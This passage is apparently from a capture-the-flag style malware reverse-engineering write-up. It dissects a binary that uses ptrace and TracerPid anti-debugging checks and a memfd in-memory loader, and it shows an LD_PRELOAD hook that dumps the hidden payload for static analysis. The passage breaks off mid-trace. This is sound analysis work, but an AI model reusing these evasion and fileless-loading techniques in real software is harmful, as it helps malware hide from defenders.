openat(AT_FDCWD, "./suspicious", O_RDONLY) = 3
fstat(3, {st_mode=S_IFREG|0755, st_size=160792, ...}) = 0
fstat(3, {st_mode=S_IFREG|0755, st_size=160792, ...}) = 0
lseek(3, 159744, SEEK_SET)              = 159744
read(3, "\0\0\0\0\0\0\0\0\20\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\257\0\0\0\1\0\0\0"..., 1048) = 1048
lseek(3, 0, SEEK_SET)                   = 0
brk(0x55661994e000)                     = 0x55661994e000
read(3, "\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\2602\0\0\0\0\0\0"..., 159744) = 159744
read(3, "\0\0\0\0\0\0\0\0\20\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\257\0\0\0\1\0\0\0"..., 4096) = 1048
close(3)                                = 0
openat(AT_FDCWD, "./suspicious", O_RDONLY) = 3
fstat(3, {st_mode=S_IFREG|0755, st_size=160792, ...}) = 0
fstat(3, {st_mode=S_IFREG|0755, st_size=160792, ...}) = 0
lseek(3, 159744, SEEK_SET)              = 159744
read(3, "\0\0\0\0\0\0\0\0\20\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\257\0\0\0\1\0\0\0"..., 1048) = 1048
lseek(3, 0, SEEK_SET)                   = 0
brk(0x55661997a000)                     = 0x55661997a000
read(3, "\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\2602\0\0\0\0\0\0"..., 159744) = 159744
read(3, "\0\0\0\0\0\0\0\0\20\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\257\0\0\0\1\0\0\0"..., 4096) = 1048
close(3)                                = 0
ptrace(PTRACE_TRACEME)                  = -1 EPERM (Operation not permitted)
ptrace(PTRACE_DETACH, 0, 0x1, 0)        = -1 ESRCH (No such process)
memfd_create("", 0)                     = 3
write(3, "\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\0\0\0\0\0\0\0\0"..., 52968) = 52968
openat(AT_FDCWD, "/proc/self/fd/3", O_RDONLY|O_CLOEXEC) = 4
read(4, "\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\0\0\0\0\0\0\0\0"..., 832) = 832
fstat(4, {st_mode=S_IFREG|0777, st_size=52968, ...}) = 0
mmap(NULL, 54896, PROT_READ, MAP_PRIVATE|MAP_DENYWRITE, 4, 0) = 0x7f5c75510000
mmap(0x7f5c75515000, 20480, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 4, 0x5000) = 0x7f5c75515000
mmap(0x7f5c7551a000, 8192, PROT_READ, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 4, 0xa000) = 0x7f5c7551a000
mmap(0x7f5c7551c000, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 4, 0xb000) = 0x7f5c7551c000
close(4)                                = 0
openat(AT_FDCWD, "/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 4
fstat(4, {st_mode=S_IFREG|0644, st_size=139691, ...}) = 0
mmap(NULL, 139691, PROT_READ, MAP_PRIVATE, 4, 0) = 0x7f5c751c4000
close(4)                                = 0
openat(AT_FDCWD, "/lib64/libcrypto.so.3", O_RDONLY|O_CLOEXEC) = 4
read(4, "\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\0\0\0\0\0\0\0\0"..., 832) = 832
fstat(4, {st_mode=S_IFREG|0755, st_size=5778416, ...}) = 0
mmap(NULL, 5667344, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 4, 0) = 0x7f5c74c00000
mmap(0x7f5c74f81000, 1482752, PROT_READ, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 4, 0x381000) = 0x7f5c74f81000
mmap(0x7f5c750eb000, 499712, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 4, 0x4eb000) = 0x7f5c750eb000
mmap(0x7f5c75165000, 10768, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x7f5c75165000
close(4)                                = 0
openat(AT_FDCWD, "/lib64/libstdc++.so.6", O_RDONLY|O_CLOEXEC) = 4
read(4, "\177ELF\2\1\1\3\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\0\0\0\0\0\0\0\0"..., 832) = 832
fstat(4, {st_mode=S_IFREG|0755, st_size=2888712, ...}) = 0
mmap(NULL, 2826944, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 4, 0) = 0x7f5c74800000
mmap(0x7f5c74972000, 1224704, PROT_READ, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 4, 0x172000) = 0x7f5c74972000
mmap(0x7f5c74a9d000, 73728, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 4, 0x29d000) = 0x7f5c74a9d000
mmap(0x7f5c74aaf000, 12992, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x7f5c74aaf000
close(4)                                = 0
openat(AT_FDCWD, "/lib64/libgcc_s.so.1", O_RDONLY|O_CLOEXEC) = 4
read(4, "\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\0\0\0\0\0\0\0\0"..., 832) = 832
fstat(4, {st_mode=S_IFREG|0755, st_size=186528, ...}) = 0
mmap(NULL, 180680, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 4, 0) = 0x7f5c75197000
mmap(0x7f5c751bb000, 28672, PROT_READ, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 4, 0x24000) = 0x7f5c751bb000
mmap(0x7f5c751c2000, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 4, 0x2b000) = 0x7f5c751c2000
mmap(0x7f5c751c3000, 456, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x7f5c751c3000
close(4)                                = 0
openat(AT_FDCWD, "/lib64/libz.so.1", O_RDONLY|O_CLOEXEC) = 4
read(4, "\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\0\0\0\0\0\0\0\0"..., 832) = 832
fstat(4, {st_mode=S_IFREG|0755, st_size=169544, ...}) = 0
mmap(NULL, 168056, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 4, 0) = 0x7f5c7516d000
mmap(0x7f5c7518a000, 45056, PROT_READ, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 4, 0x1d000) = 0x7f5c7518a000
mmap(0x7f5c75195000, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 4, 0x27000) = 0x7f5c75195000
close(4)                                = 0
mprotect(0x7f5c75195000, 4096, PROT_READ) = 0
mprotect(0x7f5c751c2000, 4096, PROT_READ) = 0
mprotect(0x7f5c74a9d000, 69632, PROT_READ) = 0
mprotect(0x7f5c750eb000, 487424, PROT_READ) = 0
mprotect(0x7f5c7551c000, 4096, PROT_READ) = 0
futex(0x7f5c74aaf6bc, FUTEX_WAKE_PRIVATE, 2147483647) = 0
munmap(0x7f5c751c4000, 139691)          = 0
newfstatat(AT_FDCWD, "/opt/dafin/intel/ops_brief_redteam.pdf", {st_mode=S_IFREG|0644, st_size=266, ...}, 0) = 0
munmap(0x7f5c7551e000, 156)             = 0
exit_group(0)                           = ?
+++ exited with 0 +++

This is the longest strace so far! And we got a 0 exit code! And a PDF being referenced…? Eh? (line 139) Furthermore, I see a memfd in there as well. Immediate red flag given the knowledge we have from the previous task. So much new content to dig through.

Let’s see if we can get that PDF gate to pass by making a decoy:

mkdir -p /opt/dafin/intel && touch /opt/dafin/intel/ops_brief_redteam.pdf

That didn’t work. But who cares. I think we need to focus on a new object now thanks to what these lines reveal:

memfd_create("", 0)                     = 3
write(3, "\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\0\0\0\0\0\0\0\0"..., 52968) = 52968
openat(AT_FDCWD, "/proc/self/fd/3", O_RDONLY|O_CLOEXEC) = 4
  1. A file descriptor is opened pointing at system memory, assigned 3.
  2. 52,968 bytes are written into it, and it’s an executable due to the presence of the magic bytes at the start.
  3. It’s then executed using openat() which calls FD #3.
  4. The main suspicious library exists solely to load this into memory, run it, and exit.
  5. The next step is to somehow pull this object out of memory and onto my disk for static analysis.
#define _GNU_SOURCE
#include <dlfcn.h>
#include <fcntl.h>
#include <unistd.h>

int memfd_create( const char *name, unsigned int flags ) {
	int fd = open( "./payload.elf", O_CREAT | O_RDWR | O_TRUNC, 0755 );

	return fd;
}
$ gcc -shared -fPIC -o yoink.so yoink.c -ldl
$ LD_PRELOAD=./yoink.so ./suspicious 

$ ls -l payload.elf 
-rwxr-xr-x. 1 sean sean 52968 Jul  9 14:17 payload.elf

That was easy.

Let’s see what it does:

$ ./payload.elf 
Segmentation fault         (core dumped) ./payload.elf

$ strace ./payload.elf 
execve("./payload.elf", ["./payload.elf"], 0x7fff6b56e330 /* 93 vars */) = 0
--- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_ACCERR, si_addr=0x7f2c91590000} ---
+++ killed by SIGSEGV (core dumped) +++
Segmentation fault         (core dumped) strace ./payload.elf

Extremely helpful.

Strings time:

$ strings payload.elf
__gmon_start__
_ITM_deregisterTMCloneTable
_ITM_registerTMCloneTable
__cxa_finalize
aes_init_enc
EVP_aes_128_ecb
EVP_EncryptInit_ex
puts
aes_init_dec
EVP_DecryptInit_ex
aes_encrypt
EVP_EncryptUpdate
EVP_EncryptFinal_ex
__stack_chk_fail
aes_decrypt
EVP_DecryptUpdate
EVP_DecryptFinal_ex
custom_enc
malloc
custom_dec
generate_key
fopen
fread
fclose
EVP_sha3_256
HMAC
memmove
_Znwm
memcpy
_ZdlPvm
_ZSt20__throw_length_errorPKc
_ZN5Comms15recv_rsa_pubkeyEv
calloc
recv
__memcpy_chk
_ZN5Comms7gen_keyEPhi
_ZN5CommsC2Ev
EVP_CIPHER_CTX_new
_ZN5CommsC1Ev
_ZN5CommsD2Ev
EVP_CIPHER_CTX_free
__gxx_personality_v0
_ZN5CommsD1Ev
_ZN5Comms19is_correct_responseEPhiPKhi
memcmp
_ZNSt6vectorIhSaIhEED2Ev
_ZNSt6vectorIhSaIhEED1Ev
_ZN5Comms12send_messageEPKhmPi
send
memset
_Unwind_Resume
_ZN5Comms21application_handshakeEv
_ZNSt6vectorIhSaIhEE17_M_default_appendEm
_ZN5Comms11rsa_encryptEPKhiPm
BIO_new_mem_buf
PEM_read_bio_PUBKEY
BIO_free
EVP_PKEY_CTX_new
EVP_PKEY_encrypt_init
stderr
ERR_print_errors_fp
EVP_PKEY_CTX_set_rsa_padding
EVP_sha256
EVP_PKEY_CTX_set_rsa_oaep_md
EVP_PKEY_CTX_set_rsa_mgf1_md
EVP_PKEY_encrypt
EVP_PKEY_CTX_free
EVP_PKEY_free
_ZN5Comms13send_aes_keysEv
__cxa_allocate_exception
_ZNSt13runtime_errorC1EPKc
_ZNSt13runtime_errorD1Ev
_ZTISt13runtime_error
__cxa_throw
__cxa_free_exception
_ZN5Comms14full_handshakeEv
_ZN5Comms17connect_to_serverEPKci
gethostbyname
inet_ntoa
inet_addr
socket
connect
exit
_ZSt23__is_constant_evaluatedv
_ZNSt11char_traitsIcE6lengthEPKc
_ZN9__gnu_cxx11char_traitsIcE6lengthEPKc
strlen
_ZNSt10filesystem7__cxx114path5_ListD2Ev
_ZNSt10unique_ptrINSt10filesystem7__cxx114path5_List5_ImplENS3_13_Impl_deleterEED1Ev
_ZNSt10filesystem7__cxx114path5_ListD1Ev
_ZNSt10filesystem7__cxx114pathD2Ev
_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEED1Ev
_ZNSt10filesystem7__cxx114pathD1Ev
_ZNKSt10filesystem11file_status4typeEv
_ZNSt10filesystem6existsENS_11file_statusE
_ZNSt10filesystem12status_knownENS_11file_statusE
_ZNSt10filesystem6existsERKNS_7__cxx114pathE
_ZNSt10filesystem6statusERKNS_7__cxx114pathE
_ZSt4swapIhENSt9enable_ifIXsrSt6__and_IJSt6__not_ISt15__is_tuple_likeIT_EESt21is_move_constructibleIS4_ESt18is_move_assignableIS4_EEE5valueEvE4typeERS4_SE_
_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEC1Ev
_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE7reserveEm
_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEpLEc
_ZNKSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE5c_strEv
_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEC1IS3_EEPKcRKS3_
_ZNSt15__new_allocatorIcED2Ev
htons
inet_pton
_ZStplIcSt11char_traitsIcESaIcEENSt7__cxx1112basic_stringIT_T0_T1_EERKS8_PKS5_
_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEaSEOS4_
_ZNKSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE6lengthEv
_ZStplIcSt11char_traitsIcESaIcEENSt7__cxx1112basic_stringIT_T0_T1_EERKS8_SA_
_ZStplIcSt11char_traitsIcESaIcEENSt7__cxx1112basic_stringIT_T0_T1_EEOS8_RKS8_
_ZNSt14basic_ofstreamIcSt11char_traitsIcEEC1ERKNSt7__cxx1112basic_stringIcS1_SaIcEEESt13_Ios_Openmode
_ZNKSt9basic_iosIcSt11char_traitsIcEEntEv
_ZNSo5writeEPKcl
_ZNSt14basic_ofstreamIcSt11char_traitsIcEE5closeEv
dlopen
dlsym
dlclose
_ZNSt14basic_ofstreamIcSt11char_traitsIcEED1Ev
_ZNSt10filesystem7__cxx114pathC1INSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEES1_EERKT_NS1_6formatE
getenv
localtime
geteuid
_ZNSt14basic_ifstreamIcSt11char_traitsIcEEC1ERKNSt7__cxx1112basic_stringIcS1_SaIcEEESt13_Ios_Openmode
_ZNSt14basic_ifstreamIcSt11char_traitsIcEE7is_openEv
_ZNKSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE4findERKS4_m
_ZSt7getlineIcSt11char_traitsIcESaIcEERSt13basic_istreamIT_T0_ES7_RNSt7__cxx1112basic_stringIS4_S5_T1_EE
_ZNKSt9basic_iosIcSt11char_traitsIcEEcvbEv
_ZNSt14basic_ifstreamIcSt11char_traitsIcEED1Ev
sigemptyset
sigaction
popen
_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEpLEPKc
fgets
pclose
_ZN9__gnu_cxx11char_traitsIcE2eqERKcS3_
_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE12_Alloc_hiderD2Ev
_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE12_Alloc_hiderD1Ev
_ZNSt10unique_ptrINSt10filesystem7__cxx114path5_List5_ImplENS3_13_Impl_deleterEED2Ev
_ZNSt15__uniq_ptr_implINSt10filesystem7__cxx114path5_List5_ImplENS3_13_Impl_deleterEE6_M_ptrEv
_ZNSt10unique_ptrINSt10filesystem7__cxx114path5_List5_ImplENS3_13_Impl_deleterEE11get_deleterEv
_ZSt4moveIRPNSt10filesystem7__cxx114path5_List5_ImplEEONSt16remove_referenceIT_E4typeEOS8_
_ZNKSt10filesystem7__cxx114path5_List13_Impl_deleterclEPNS2_5_ImplE
_ZSt4moveIRNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEEEONSt16remove_referenceIT_E4typeEOS8_
_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEC2IS3_EEPKcRKS3_
_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE13_M_local_dataEv
_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE12_Alloc_hiderC1EPcRKS3_
_ZSt19__throw_logic_errorPKc
_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE12_M_constructIPKcEEvT_S8_St20forward_iterator_tag
_ZSt4moveIRhEONSt16remove_referenceIT_E4typeEOS2_
_ZNKSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE13get_allocatorEv
_ZNKSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE4sizeEv
_ZSt12__str_concatINSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEEET_PKNS6_10value_typeENS6_9size_typeES9_SA_RKNS6_14allocator_typeE
_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE6appendERKS4_
_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEC1EOS4_
_ZNSt10filesystem7__cxx114path10_S_convertISt17basic_string_viewIcSt11char_traitsIcEEEEDaT_
_ZNSt10filesystem7__cxx114pathC2INSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEES1_EERKT_NS1_6formatE
_ZNSt10filesystem7__cxx118__detail17__effective_rangeIcSt11char_traitsIcESaIcEEESt17basic_string_viewIT_S3_IS7_EERKNSt7__cxx1112basic_stringIS7_T0_T1_EE
_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEC1ISt17basic_string_viewIcS2_EvEERKT_RKS3_
_ZNSt10filesystem7__cxx114path5_ListC1Ev
_ZNSt10filesystem7__cxx114path14_M_split_cmptsEv
_ZNSt15__new_allocatorIcED1Ev
_ZZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE12_M_constructIPKcEEvT_S8_St20forward_iterator_tagEN6_GuardC2EPS4_
_ZZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE12_M_constructIPKcEEvT_S8_St20forward_iterator_tagEN6_GuardC1EPS4_
_ZZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE12_M_constructIPKcEEvT_S8_St20forward_iterator_tagEN6_GuardD2Ev
_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE10_M_disposeEv
_ZZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE12_M_constructIPKcEEvT_S8_St20forward_iterator_tagEN6_GuardD1Ev
_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE9_M_createERmm
_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE7_M_dataEPc
_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE11_M_capacityEm
_ZNKSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE7_M_dataEv
_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE13_S_copy_charsEPcPKcS7_
_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE13_M_set_lengthEm
_ZSt3getILm0EJPNSt10filesystem7__cxx114path5_List5_ImplENS3_13_Impl_deleterEEERNSt13tuple_elementIXT_ESt5tupleIJDpT0_EEE4typeERSB_
_ZNSt15__uniq_ptr_implINSt10filesystem7__cxx114path5_List5_ImplENS3_13_Impl_deleterEE10_M_deleterEv
_ZSt3getILm1EJPNSt10filesystem7__cxx114path5_List5_ImplENS3_13_Impl_deleterEEERNSt13tuple_elementIXT_ESt5tupleIJDpT0_EEE4typeERSB_
_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEC1ERKS3_
_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE6appendEPKcm
_ZNKSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEcvSt17basic_string_viewIcS2_EEv
_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEC2ISt17basic_string_viewIcS2_EvEERKT_RKS3_
_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE17_S_to_string_viewESt17basic_string_viewIcS2_E
_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE12__sv_wrapperC1ESt17basic_string_viewIcS2_E
_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEC1ENS4_12__sv_wrapperERKS3_
_ZSt12__get_helperILm0EPNSt10filesystem7__cxx114path5_List5_ImplEJNS3_13_Impl_deleterEEERT0_RSt11_Tuple_implIXT_EJS7_DpT1_EE
_ZSt12__get_helperILm1ENSt10filesystem7__cxx114path5_List13_Impl_deleterEJEERT0_RSt11_Tuple_implIXT_EJS5_DpT1_EE
_ZNSt11_Tuple_implILm0EJPNSt10filesystem7__cxx114path5_List5_ImplENS3_13_Impl_deleterEEE7_M_headERS7_
_ZNSt11_Tuple_implILm1EJNSt10filesystem7__cxx114path5_List13_Impl_deleterEEE7_M_headERS5_
_ZNSt10_Head_baseILm0EPNSt10filesystem7__cxx114path5_List5_ImplELb0EE7_M_headERS6_
_ZNSt10_Head_baseILm1ENSt10filesystem7__cxx114path5_List13_Impl_deleterELb1EE7_M_headERS5_
libcrypto.so.3
libstdc++.so.6
libgcc_s.so.1
libc.so.6
GCC_3.0
CXXABI_1.3.9
CXXABI_1.3
GLIBCXX_3.4.26
GLIBCXX_3.4
GLIBCXX_3.4.21
OPENSSL_3.0.0
GLIBC_2.3.4
GLIBC_2.4
GLIBC_2.14
GLIBC_2.34
GLIBC_2.2.5
u+UH
tgHc
[]A\A]A^
tgHc
[]A\A]A^
[]A\A]A^A_
[]A\A]A^A_
ATUSH
D$XH
ABCD1233
)D$0
)D$@H
D$,321
 t*H
D$XdH+
[]A\A]
l$0H
t$%H
D$Pf
o\$ 
AWAVI
AUI)
[]A\A]A^A_
([]A\A]A^A_
[]A\
E8Hc
[]A\
D$(1
D$(dH+
0[]A\
[]A\
AVAUATUH
t$0H
)D$0H
t$8J
D$XM
D$PH
L$`H
l$0H
|$XH
L$(L
HcT$(
L$,H
D$,H
t$@L
[]A\A]A^A_
AULc
ATUSH
[]A\A]A^A_
r[H9
AVAUATUSH
oK$dH
l$`H
T$@H
)D$@
)L$P
t$ H
D$(L
|$ 1
t$0H)
[]A\A]A^A_
AWAVAUATI
,6I9
[]A\A]A^A_
[]A\A]A^A_
ATSH
0[A\]
AUATSH
8[A\A]]
error creating enc
error creating dec
error using enc ctx
error encrypting
error finalizing encryption
error using dec
error decrypting
error finalizing decryption
/dev/random
vector::_M_range_insert
Error
vector::_M_default_append
cannot create std::vector larger than max_size()
KEY_RECEIVED
REQCONN_OKREQCONN
skibidi
basic_string: construction from null is not valid
9*3$"
zPLR
b:YE
9MT&5
GCC: (Ubuntu 13.3.0-6ubuntu2~24.04) 13.3.0
.shstrtab
.note.gnu.property
.note.gnu.build-id
.gnu.hash
.dynsym
.dynstr
.gnu.version
.gnu.version_r
.rela.dyn
.rela.plt
.init
.plt.got
.plt.sec
.text
.fini
.rodata
.eh_frame_hdr
.eh_frame
.gcc_except_table
.init_array
.fini_array
.dynamic
.got.plt
.data
.bss
.comment

skibidi

blud. (line 292)

Anyway, let’s throw this into IDA. But how do we know where to begin? Since IDA did not show any main function anywhere. Let’s see how the original binary actually ran this sub-binary. No information in the strace, so let’s try ltrace instead. This one traces library functions.

$ ltrace ./suspicious 
sigemptyset(<>)                                                                                                          = 0
sigaction(SIGSEGV, {0x55e1575523f0, <>, 0x1, 0xf44502f377221300}, {nil, <>, 0xdfc1635, 0x7f580dfbf640})                  = 0
_setjmp(0x55e157572100, 0x7ffd80ded1a0, 0, 0x7f580dc72196)                                                               = 0
--- SIGSEGV (Segmentation fault) ---
__longjmp_chk(0x55e157572100, 1, 0x7ffd80dec700, 0x7f580dc72196 <unfinished ...>
sigaction(SIGSEGV, {nil, <>, 0xdfc1635, 0x7f580dfbf640}, nil)                                                            = 0
calloc(1, 26)                                                                                                            = 0x55e167116010
clock(0x7f580de47ac0, 48, 3, 5)                                                                                          = 852
fopen("/proc/self/status", "r")                                                                                          = 0x55e167116040
getline("Name:\tsuspicious\n", 120, 0x55e167116040)                                                                      = 17
strstr("Name:\tsuspicious\n", "TracerPid")                                                                               = nil
getline("Umask:\t0022\n", 120, 0x55e167116040)                                                                           = 12
strstr("Umask:\t0022\n", "TracerPid")                                                                                    = nil
getline("State:\tR (running)\n", 120, 0x55e167116040)                                                                    = 19
strstr("State:\tR (running)\n", "TracerPid")                                                                             = nil
getline("Tgid:\t565503\n", 120, 0x55e167116040)                                                                          = 13
strstr("Tgid:\t565503\n", "TracerPid")                                                                                   = nil
getline("Ngid:\t0\n", 120, 0x55e167116040)                                                                               = 8
strstr("Ngid:\t0\n", "TracerPid")                                                                                        = nil
getline("Pid:\t565503\n", 120, 0x55e167116040)                                                                           = 12
strstr("Pid:\t565503\n", "TracerPid")                                                                                    = nil
getline("PPid:\t565502\n", 120, 0x55e167116040)                                                                          = 13
strstr("PPid:\t565502\n", "TracerPid")                                                                                   = nil
getline("TracerPid:\t565502\n", 120, 0x55e167116040)                                                                     = 18
strstr("TracerPid:\t565502\n", "TracerPid")                                                                              = "TracerPid:\t565502\n"
strtok("TracerPid:\t565502\n", "\t")                                                                                     = "TracerPid:"
strtok(nil, "\t")                                                                                                        = "565502\n"
free(0x55e167116220)                                                                                                     = <void>
fclose(0x55e167116040)                                                                                                   = 0
fopen("./suspicious", "r")                                                                                               = 0x55e167116040
fseek(0x55e167116040, 0, SEEK_END)                                                                                       = 0
ftell(0x55e167116040)                                                                                                    = 160792
fseek(0x55e167116040, 0, SEEK_SET)                                                                                       = 0
calloc(1, 160792)                                                                                                        = 0x7f580dc2d010
fread(0x7f580dc2d010, 1, 160792, 0x55e167116040)                                                                         = 160792
strcmp(".interp", ".init.checksum.validation")                                                                           = 11
strcmp(".note.gnu.property", ".init.checksum.validation")                                                                = 5
strcmp(".note.gnu.build-id", ".init.checksum.validation")                                                                = 5
strcmp(".note.ABI-tag", ".init.checksum.validation")                                                                     = 5
strcmp(".gnu.hash", ".init.checksum.validation")                                                                         = -2
strcmp(".dynsym", ".init.checksum.validation")                                                                           = -5
strcmp(".dynstr", ".init.checksum.validation")                                                                           = -5
strcmp(".gnu.version", ".init.checksum.validation")                                                                      = -2
strcmp(".gnu.version_r", ".init.checksum.validation")                                                                    = -2
strcmp(".rela.dyn", ".init.checksum.validation")                                                                         = 9
strcmp(".rela.plt", ".init.checksum.validation")                                                                         = 9
strcmp(".init", ".init.checksum.validation")                                                                             = -46
strcmp(".plt", ".init.checksum.validation")                                                                              = 7
strcmp(".plt.got", ".init.checksum.validation")                                                                          = 7
strcmp(".plt.sec", ".init.checksum.validation")                                                                          = 7
strcmp(".text", ".init.checksum.validation")                                                                             = 11
strcmp(".fini", ".init.checksum.validation")                                                                             = -3
strcmp(".rodata", ".init.checksum.validation")                                                                           = 9
strcmp(".eh_frame_hdr", ".init.checksum.validation")                                                                     = -4
strcmp(".eh_frame", ".init.checksum.validation")                                                                         = -4
strcmp(".init_array", ".init.checksum.validation")                                                                       = 49
strcmp(".fini_array", ".init.checksum.validation")                                                                       = -3
strcmp(".data.rel.ro", ".init.checksum.validation")                                                                      = -5
strcmp(".dynamic", ".init.checksum.validation")                                                                          = -5
strcmp(".got", ".init.checksum.validation")                                                                              = -2
strcmp(".data", ".init.checksum.validation")                                                                             = -5
strcmp(".bss_secure_buffer", ".init.checksum.validation")                                                                = -7
strcmp(".init.checksum.validation", ".init.checksum.validation")                                                         = 0
mmap(nil, 156, 0b11, 0x22, -1, 0)                                                                                        = 0x7f580df8c000
memcpy(0x7f580df8c000, "\363\017\036\372UH\211\345H\211}\350H\211u\340H\211U\330H\211M\320H\203}\350\0t\aH"..., 156)     = 0x7f580df8c000
mprotect(0x7f580df8c000, 156, 0x5)                                                                                       = 0
free(0x7f580dc2d010)                                                                                                     = <void>
fclose(0x55e167116040)                                                                                                   = 0
free(0x55e167116010)                                                                                                     = <void>
calloc(1, 26)                                                                                                            = 0x55e167116010
rand()                                                                                                                   = 1804289383
rand()                                                                                                                   = 846930886
rand()                                                                                                                   = 1681692777
rand()                                                                                                                   = 1714636915
rand()                                                                                                                   = 1957747793
rand()                                                                                                                   = 424238335
rand()                                                                                                                   = 719885386
rand()                                                                                                                   = 1649760492
rand()                                                                                                                   = 596516649
rand()                                                                                                                   = 1189641421
rand()                                                                                                                   = 1025202362
rand()                                                                                                                   = 1350490027
rand()                                                                                                                   = 783368690
rand()                                                                                                                   = 1102520059
rand()                                                                                                                   = 2044897763
rand()                                                                                                                   = 1967513926
rand()                                                                                                                   = 1365180540
rand()                                                                                                                   = 1540383426
rand()                                                                                                                   = 304089172
rand()                                                                                                                   = 1303455736
rand()                                                                                                                   = 35005211
rand()                                                                                                                   = 521595368
rand()                                                                                                                   = 294702567
rand()                                                                                                                   = 1726956429
rand()                                                                                                                   = 336465782
rand()                                                                                                                   = 861021530
rand()                                                                                                                   = 278722862
rand()                                                                                                                   = 233665123
rand()                                                                                                                   = 2145174067
rand()                                                                                                                   = 468703135
rand()                                                                                                                   = 1101513929
rand()                                                                                                                   = 1801979802
clock(0x7f580de476a0, 0x7ffd80ded404, 0, 0x7f580de47028)                                                                 = 2251
fopen("./suspicious", "r")                                                                                               = 0x55e167116040
fseek(0x55e167116040, 0, SEEK_END)                                                                                       = 0
ftell(0x55e167116040)                                                                                                    = 160792
fseek(0x55e167116040, 0, SEEK_SET)                                                                                       = 0
calloc(1, 160792)                                                                                                        = 0x55e1671179c0
fread(0x55e1671179c0, 1, 160792, 0x55e167116040)                                                                         = 160792
strcmp(".interp", ".init.constructors.global")                                                                           = 11
strcmp(".note.gnu.property", ".init.constructors.global")                                                                = 5
strcmp(".note.gnu.build-id", ".init.constructors.global")                                                                = 5
